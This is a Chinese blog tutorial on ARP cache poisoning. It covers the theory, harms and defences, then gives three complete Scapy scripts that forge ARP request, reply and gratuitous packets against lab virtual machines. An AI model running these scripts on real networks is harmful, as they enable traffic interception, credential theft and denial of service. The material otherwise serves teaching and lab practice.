利用 Scapy 库编写 ARP 缓存中毒攻击脚本

news2024/9/20 14:48:18

一、ARP 协议基础

参考下篇文章学习

二、ARP 缓存中毒原理

ARP(Address Resolution Protocol)缓存中毒是一种网络攻击,它利用了ARP协议中的漏洞,通过欺骗或篡改网络中的ARP缓存来实施攻击。ARP协议是用于将IP地址映射到物理MAC地址的协议,在IPv4网络中,每台计算机都有一个ARP缓存,用于保存IP地址到MAC地址的映射关系,以便进行网络通信。

2.1 攻击步骤:

  1. **监听网络流量:**攻击者首先在目标网络中监听流量,以便识别目标计算机的IP地址和MAC地址。

  2. **欺骗ARP响应:**攻击者发送虚假的ARP响应消息到目标计算机,告诉目标计算机说攻击者的MAC地址对应于目标计算机想要访问的IP地址。这样一来,目标计算机就会更新自己的ARP缓存,将攻击者的MAC地址错误地与目标IP地址关联起来。

  3. **中间人攻击:**一旦目标计算机的ARP缓存被篡改,攻击者就可以拦截目标计算机发送的流量,并将其传递到正确的目标,同时也可以修改传输的数据。这使得攻击者能够窃取敏感信息或篡改通信内容。

  4. **持久性攻击:**攻击者可能会持续发送虚假的ARP响应,以确保目标计算机的ARP缓存保持被篡改状态,从而持续进行攻击。

2.2 攻击危害:

  • **流量窃取:**攻击者可以拦截目标计算机的网络流量,窃取敏感信息,如登录凭证、信用卡信息等。

  • **数据篡改:**攻击者可以修改网络通信中的数据包,导致数据的篡改或损坏,可能导致系统故障或信息泄露。

  • **拒绝服务:**攻击者可以阻止目标计算机与其他网络资源的正常通信,导致网络服务的拒绝或延迟。

2.3 防护措施:

  • **ARP缓存监控:**定期监控网络中的ARP缓存,检测是否存在异常的ARP记录。

  • **静态ARP条目:**在网络设备中配置静态ARP条目,指定特定的IP地址与MAC地址的映射关系,以防止被篡改。

  • **ARP缓存定期清除:**定期清除设备上的ARP缓存,防止缓存中的错误信息长时间存在。

  • **网络流量加密:**使用加密协议(如TLS、SSH等)来保护网络通信中的数据,防止被攻击者窃取或篡改。

  • **网络入侵检测系统(IDS):**部署IDS来监控网络流量,检测异常的ARP活动,并及时响应和阻止攻击。

三、安装 Scapy 库

3.1 Windows

pip install scapy

3.2 Linux

git clone https://github.com/secdev/scapy
cd scapy
./run_scapy 

四、环境准备

我们可以通过Scapy内的ls命令来查看构造一个ARP类时应当具有哪些属性,如图所示:

  • hwtype:硬件类型字段,表示硬件地址的类型。默认为XShortEnumField类型,值为1,代表以太网。

  • ptype:协议类型字段,表示协议地址的类型。默认为XShortEnumField类型,值为2048,代表IPv4地址。

  • hwlen:硬件地址长度字段,表示硬件地址的长度。默认为FieldLenField类型,无默认值,根据硬件类型自动设置。

  • plen:协议地址长度字段,表示协议地址的长度。默认为FieldLenField类型,无默认值,根据协议类型自动设置。

  • op:操作码字段,表示ARP报文的操作类型,例如请求(1)或响应(2)。默认为ShortEnumField类型,值为1,代表ARP请求。

  • hwsrc:源硬件地址字段,表示发送ARP请求或响应的设备的硬件地址。默认为MultipleTypeField类型,无默认值。

  • psrc:源协议地址字段,表示发送ARP请求或响应的设备的协议地址(IP地址)。默认为MultipleTypeField类型,无默认值。

  • hwdst:目标硬件地址字段,表示ARP请求或响应的目标设备的硬件地址。默认为MultipleTypeField类型,无默认值。

  • pdst:目标协议地址字段,表示ARP请求或响应的目标设备的协议地址(IP地址)。默认为MultipleTypeField类型,无默认值。

小王:CentOS 9

张三:Red Hat 9

攻击者:Kail

五、攻击方式一:伪造 ARP 请求包

通过攻击者小王发送伪造 ARP 请求数据包,使小王的本地 ARP 缓存表中添加一条记录:将张三的IP地址映射到攻击者的 MAC 地址

攻击者发起攻击:

#!/usr/bin/python3
from scapy.all import *
from scapy.layers.l2 import Ether, ARP

# 目标的 IP 地址
Target_IP = "192.168.134.132"

# 伪造的 IP 地址
Forgery_IP = "192.168.134.131"

# 本机的 MAC 地址
My_MAC = "00:0c:29:b2:d6:43"

print("ARP 缓存中毒攻击中……")

# 创建以太网帧对象
E = Ether()

# 设置以太网帧的源 MAC 地址
E.src = My_MAC

# 创建一个ARP(Address Resolution Protocol)对象
A = ARP()

# 设置ARP报文的操作码为 1,表示请求包
A.op = 1

# 设置ARP报文的源 MAC 地址
A.hwsrc = My_MAC

# 设置 ARP 报文的源 IP 地址
A.psrc = Forgery_IP

# 设置 ARP 报文的目标 IP 地址
A.pdst = Target_IP

# 使用Scapy中的 / 运算符将以太网帧对象 E 和 ARP 对象 A 组合成一个数据帧,形成完整的数据帧
frame = E / A

# 使用Scapy中的 sendp() 函数发送构造好的数据帧
sendp(frame)

攻击效果:小王的 ARP 缓存表中出现了张三的 IP 地址并且映射到了攻击者的 MAC 地址。同时也添加了攻击者的映射记录 

六、攻击方法二:伪造 ARP 响应包

通过攻击者张三发送伪造 ARP 响应数据包,使张三的本地 ARP 缓存表中更新一条记录:将小王的 IP 地址映射到攻击者的 MAC 地址

值得注意的是,此时张三的 ARP 缓存表仍处于初始状态,其中并不包含小王的 IP 地址对应的映射记录,而且由于 ARP 响应报文只能更新不能添加记录,因此 ARP 响应数据包并不会在张三的 ARP 缓存表中添加小王对应的记录

因此需要张三 Ping 通小王

这样张三的 ARP 缓存表中就包含 小王 的 IP 地址对应的映射记录: 

攻击者发起攻击:

#!/usr/bin/python3
from scapy.all import *
from scapy.layers.l2 import Ether, ARP

# 目标的 MAC 地址
Target_MAC = "00:0c:29:cf:1f:f2"

# 伪造的 IP 地址
Forgery_IP = "192.168.134.132"

# 伪造的 MAC 地址
Forgery_MAC = "00:0c:29:b2:d6:43"

print("ARP 缓存中毒攻击中……")

# 创建以太网帧对象
E = Ether()

# 设置以太网帧的目标 MAC 地址
E.dst = Target_MAC

# 设置以太网帧的源 MAC 地址
E.src = Forgery_MAC

# 创建一个 ARP(Address Resolution Protocol)对象
A = ARP()

# 设置 ARP 报文的操作码为 2,表示响应包
A.op = 2

# 设置 ARP 报文的源 MAC 地址
A.hwsrc = Forgery_MAC

# 设置 ARP 报文的源 IP 地址
A.psrc = Forgery_IP

# 设置 ARP 报文的目标 MAC 地址
A.hwdst = Target_MAC

# 使用Scapy中的 / 运算符将以太网帧对象 E 和 ARP 对象 A 组合成一个数据帧,形成完整的数据帧
frame = E / A

# 使用Scapy中的 sendp() 函数发送构造好的数据帧
sendp(frame)

攻击成功!

攻击效果:张三的 ARP 缓存表中小王的 IP 地址映射到了攻击者的 MAC 地址

七、攻击方式三:伪造免费 ARP 包 

通过攻击者向网络中其它主机发送伪造免费 ARP 数据包,使张三小王的本地 ARP 缓存表中更新一条记录:将攻击者的 IP 地址映射的 MAC 地址更新为:aa:bb:cc:dd:ee:ff 

注意:免费 ARP 报文只能更新不能添加记录,所以与 ARP 响应包一样先有缓存记录 

前提:张三小王都先 Ping 通攻击者

攻击者发起攻击: 

#!/usr/bin/python3
from scapy.all import *
from scapy.layers.l2 import Ether, ARP

# 本地的 IP 地址
My_IP = "192.168.134.130"

# 广播地址,向所有主机发送数据包
Broadcast_MAC = "ff:ff:ff:ff:ff:ff"

# 伪造的 MAC 地址
Forgery_MAC = "aa:bb:cc:dd:ee:ff"

print("ARP 缓存中毒攻击中……")

# 创建以太网帧对象
E = Ether()

# 设置以太网帧的目标 MAC 地址
E.dst = Broadcast_MAC

# 设置以太网帧的源 MAC 地址
E.src = Forgery_MAC

# 创建一个 ARP(Address Resolution Protocol)对象
A = ARP()

# 设置 ARP 报文的操作码为 1
A.op = 1

# 设置 ARP 报文的源 MAC 地址
A.hwsrc = Forgery_MAC

# 设置 ARP 报文的源 IP 地址
A.psrc = My_IP

# 设置 ARP 报文的目标 MAC 地址
A.hwdst = Broadcast_MAC

# 设置 ARP 报文的目标 IP 地址
A.pdst = My_IP

# 使用Scapy中的 / 运算符将以太网帧对象 E 和 ARP 对象 A 组合成一个数据帧,形成完整的数据帧
frame = E/A

# 使用Scapy中的 sendp() 函数发送构造好的数据帧
sendp(frame)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1553384.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

002-基于Pytorch的手写汉字数字分类

本节将介绍一种 2.1 准备 2.1.1 数据集 (1)MNIST 只要学习过深度学习相关理论的人,都一定听说过名字叫做LeNet-5模型,它是深度学习三巨头只有Yann Lecun在1998年提出的一个CNN模型(很多人认为这是第一个具有实际应用…

npm install 报错ERESOLVE unable to resolve dependency tree

描述:npm install 报错ERESOLVE unable to resolve dependency tree 解决方案: npm install --legacy-peer-deps

【Linux】网络编程套接字二

网络编程套接字二 1.TCP网络编程1.1TCP Server服务端1.2 TCP Client客户端 2.Server 多进程版本2.1普通版2.2 信号版 3.Server 多线程版4.Server 线程池版5.日志函数重新设计6.守护进程7.TCP协议通讯流程8.TCP和UDP 对比 喜欢的点赞,收藏,关注一下把&…

[Java基础揉碎]抽象类

目录 通过问题引出 介绍 关键点 细节 ​编辑 抽象类的最佳设计模式--模版设计模式 1.先用最容易想到的方法 2.分析问题,提出使用模板设计模式 通过问题引出 假如我们有个动物类, 动物都有eat吃的方法, 但是具体吃什么, 我们不知道, 因为是什么动物我们不知道…

绘制特征曲线-ROC(Machine Learning 研习十七)

接收者操作特征曲线(ROC)是二元分类器的另一个常用工具。它与精确度/召回率曲线非常相似,但 ROC 曲线不是绘制精确度与召回率的关系曲线,而是绘制真阳性率(召回率的另一个名称)与假阳性率(FPR&a…

【爬虫框架pyspider】01-pyspider入门与基本使用

前言 前面我们把爬虫的流程实现一遍,将不同的功能定义成不同的方法,甚至抽象出模块的概念。如微信公众号爬虫,我们已经有了爬虫框架的雏形,如调度器、队列、请求对象等,但是它的架构和模块还是太简单,远远…

|行业洞察·碳纤维|《中国碳纤维行业现状与发展趋势-39页》

报告内容的详细解读: 1. 战略性新材料的重要性 碳纤维是一种轻质高强的高性能纤维材料,在航空航天、国防军工、高端装备制造等领域具有不可替代的作用。碳纤维的应用有助于减少能源消耗和降低碳排放,符合全球可持续发展的要求。 |趋势洞察…

Java增强for循环和foreach循环的误区

网上很多文章都在说增强for循环和foreach循环遍历时不能修改值&#xff0c;只能查看&#xff0c;其实是有区分条件的&#xff0c;不能修改值的是包装类&#xff0c;例如List<String>,引用类型是可以修改值的&#xff0c;例如对象集合。 使用增强for循环或者foreach循环遍…

李宏毅【生成式AI导论 2024】第6讲 大型语言模型修炼_第一阶段_ 自我学习累积实力

背景知识:机器怎么学会做文字接龙 详见:https://blog.csdn.net/qq_26557761/article/details/136986922?spm=1001.2014.3001.5501 在语言模型的修炼中,我们需要训练资料来找出数十亿个未知参数,这个过程叫做训练或学习。找到参数后,我们可以使用函数来进行文字接龙,拿…

解决“Pycharm中Matplotlib图像不弹出独立的显示窗口”问题

matplotlib的绘图的结果默认显示在SciView窗口中, 而不是弹出独立的窗口, 这样看起来就不是很舒服&#xff0c;不习惯。 通过修改设置&#xff0c;改成独立弹出的窗口。 File—>Settings—>Tools—>Python Scientific—>Show plots in toolwindow 将√去掉即可

一台日本原生ip站群服务器多少钱?

一台日本原生ip站群服务器多少钱&#xff1f;日本原生ip站群服务器的价格受到多个因素的影响。以下是一些主要的因素&#xff1a; 服务器配置&#xff1a;硬件配置越高&#xff0c;自然价格也越高。对于站群服务器来说&#xff0c;由于需要同时运行多个网站&#xff0c;因此配置…

Vue挂载全局方法

简介&#xff1a;有时候&#xff0c;频繁调用的函数&#xff0c;我们需要把它挂载在全局的vue原型上&#xff0c;方便调用&#xff0c;具体怎么操作&#xff0c;这里来记录一下。 一、这里以本地存储的方法为例 var localStorage window.localStorage; const db {/** * 更新…

学习JavaEE的日子 Day32 线程池

Day32 线程池 1.引入 一个线程完成一项任务所需时间为&#xff1a; 创建线程时间 - Time1线程中执行任务的时间 - Time2销毁线程时间 - Time3 2.为什么需要线程池(重要) 线程池技术正是关注如何缩短或调整Time1和Time3的时间&#xff0c;从而提高程序的性能。项目中可以把Time…

【tensorflow框架神经网络实现鸢尾花分类】

文章目录 1、数据获取2、数据集构建3、模型的训练验证可视化训练过程 1、数据获取 从sklearn中获取鸢尾花数据&#xff0c;并合并处理 from sklearn.datasets import load_iris import pandas as pdx_data load_iris().data y_data load_iris().targetx_data pd.DataFrame…

Flask学习(六):蓝图(Blueprint)

蓝图&#xff08;Blueprint&#xff09;&#xff1a;将各个业务进行区分&#xff0c;然后每一个业务单元可以独立维护&#xff0c;Blueprint可以单独具有自己的模板、静态文件或者其它的通用操作方法&#xff0c;它并不是必须要实现应用的视图和函数的。 Demo目录结构&#xf…

八大技术趋势案例(人工智能物联网)

科技巨变,未来已来,八大技术趋势引领数字化时代。信息技术的迅猛发展,深刻改变了我们的生活、工作和生产方式。人工智能、物联网、云计算、大数据、虚拟现实、增强现实、区块链、量子计算等新兴技术在各行各业得到广泛应用,为各个领域带来了新的活力和变革。 为了更好地了解…

利用Java代码混淆技术提升应用程序抗逆向工程能力

摘要 本文探讨了代码混淆在保护Java代码安全性和知识产权方面的重要意义。通过混淆技术&#xff0c;可以有效防止代码被反编译、逆向工程或恶意篡改&#xff0c;提高代码的安全性。常见的Java代码混淆工具如IPAGuard、Allatori、DashO、Zelix KlassMaster和yGuard等&#xff0…

Python人工智能:气象数据可视化的新工具

Python是功能强大、免费、开源&#xff0c;实现面向对象的编程语言&#xff0c;在数据处理、科学计算、数学建模、数据挖掘和数据可视化方面具备优异的性能&#xff0c;这些优势使得Python在气象、海洋、地理、气候、水文和生态等地学领域的科研和工程项目中得到广泛应用。可以…

物联网实战--入门篇之(一)物联网概述

目录 一、前言 二、知识梳理 三、项目体验 四、项目分解 一、前言 近几年很多学校开设了物联网专业&#xff0c;但是确却地讲&#xff0c;物联网属于一个领域&#xff0c;包含了很多的专业或者说技能树&#xff0c;例如计算机、电子设计、传感器、单片机、网…

葵花卫星影像应用场景及数据获取

一、卫星参数 葵花卫星是由中国航天科技集团公司研制的一颗光学遥感卫星&#xff0c;代号CAS-03。该卫星于2016年11月9日成功发射&#xff0c;位于地球同步轨道&#xff0c;轨道高度约为35786公里&#xff0c;倾角为0。卫星设计寿命为5年&#xff0c;搭载了高分辨率光学相机和多…